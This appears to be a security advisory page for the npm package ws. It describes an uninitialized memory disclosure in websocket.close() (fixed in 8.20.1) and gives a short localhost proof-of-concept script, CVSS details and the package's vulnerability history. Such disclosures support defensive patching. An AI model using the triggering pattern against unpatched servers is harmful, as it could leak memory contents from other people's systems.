Medium

ws: Uninitialized memory disclosure

Disclosed: 18.05.2026
Updated: 11.10.2026 10:22

Impact

The websocket.close() implementation is vulnerable to uninitialized memory disclosure when a TypedArray is passed as the reason argument.

Proof of concept

import { deepStrictEqual } from 'node:assert';
import { WebSocket, WebSocketServer } from 'ws';

const wss = new WebSocketServer(
  { port: 0, skipUTF8Validation: true },
  function () {
    const { port } = wss.address();
    const ws = new WebSocket(`ws://localhost:${port}`, {
      skipUTF8Validation: true
    });

    ws.on('close', function (code, reason) {
      deepStrictEqual(reason, Buffer.alloc(80));
    });
  }
);

wss.on('connection', function (ws) {
  ws.close(1000, new Float32Array(20));
});

Patches

The vulnerability was fixed in ws@8.20.1 (https://github.com/websockets/ws/commit/c0327ec15a54d701eb6ccefaa8bef328cfc03086).

Credits

Credit for the private and responsible disclosure of this issue goes to Nikita Skovoroda.

Remarks

Although the calculated CVSS severity is medium, the actual severity is believed to be low, as the flaw is only exploitable through misuse that is unlikely in practice.

Resources

Affected software

Click a technology to see all vulnerabilities affecting it.

Platform	Package	Vulnerable versions	Fixed in
npm package	ws	>= 8.0.0, < 8.20.1	8.20.1

References

CVSS score 4.4/10

CVSS vector: CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:N/A:N
Weakness (CWE): CWE-908
Platform: npm
Package: ws
Disclosed: 18.05.2026
Updated: 11.10.2026 10:22

Sources and licenses

OSV / GitHub Advisory Database - GHSA-58qx-3vcg-4xpx - CC BY 4.0

Vulnerability history: ws

All published vulnerabilities of this package (npm package), newest first. Shows whether this is a one-off slip or a package that needs watching.

Total entries: 7
First → latest: 02.2019 06.2026
Without a fix: 0
Exploited in attacks: 0

Severity breakdown

High 4
Medium 2
Low 1

Disclosures per year

2019: 3
2020: 0
2021: 1
2022: 0
2023: 0
2024: 1
2025: 0
2026: 2

15.06.2026

ws: Memory exhaustion DoS from tiny fragments and data chunks

High · 7.5 CVE-2026-48779 >= 1.1.0, < 5.2.5, >= 6.0.0, < 6.2.4, >= 7.0.0, < 7.5.11, >= 8.0.0, < 8.21.0 5.2.5, 6.2.4, 7.5.11, 8.21.0
18.05.2026

ws: Uninitialized memory disclosure this entry

Medium · 4.4 CVE-2026-45736 >= 8.0.0, < 8.20.1 8.20.1
17.06.2024

ws affected by a DoS when handling a request with many HTTP headers

High · 7.5 CVE-2024-37890 >= 2.1.0, < 5.2.4, >= 6.0.0, < 6.2.3, >= 7.0.0, < 7.5.10, >= 8.0.0, < 8.17.1 5.2.4, 6.2.3, 7.5.10, 8.17.1
28.05.2021

ReDoS in Sec-Websocket-Protocol header

Medium · 5.3 CVE-2021-32640 >= 7.0.0, < 7.4.6, >= 6.0.0, < 6.2.2, >= 5.0.0, < 5.2.3 7.4.6, 6.2.2, 5.2.3
04.06.2019

Denial of Service in ws

High · 7.5 ghsa-5v72-xg48-5rpm >= 0.6.0, < 1.1.5, >= 2.0.0, < 3.3.1 1.1.5, 3.3.1
18.02.2019

DoS due to excessively large websocket message in ws

High CVE-2016-10542 < 1.1.1 1.1.1
18.02.2019

Remote Memory Disclosure in ws

Low CVE-2016-10518 < 1.0.1 1.0.1

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